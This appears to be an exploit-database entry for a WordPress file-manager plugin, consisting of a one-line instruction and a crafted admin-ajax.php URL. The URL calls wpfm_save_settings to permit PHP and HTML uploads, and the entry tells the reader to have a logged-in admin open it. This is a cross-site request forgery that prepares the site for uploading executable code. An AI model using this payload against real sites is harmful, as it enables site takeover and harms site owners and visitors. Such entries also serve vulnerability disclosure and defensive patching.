Share
## https://sploitus.com/exploit?id=WPEX-ID:DA8FE4B1-1505-40D2-B16C-1533A2A6051A
Make a logged in admin open the URL below

https://example.com/wp-admin/admin-ajax.php?action=wpfm_save_settings&wpfm_file_types=php,html&wpfm_button_title=Select&wpfm_upload_title=Upload&wpfm_max_file_size=3mb&wpfm_disable_bootstarp=yes&wpfm_file_saved=File(s)+Uploaded!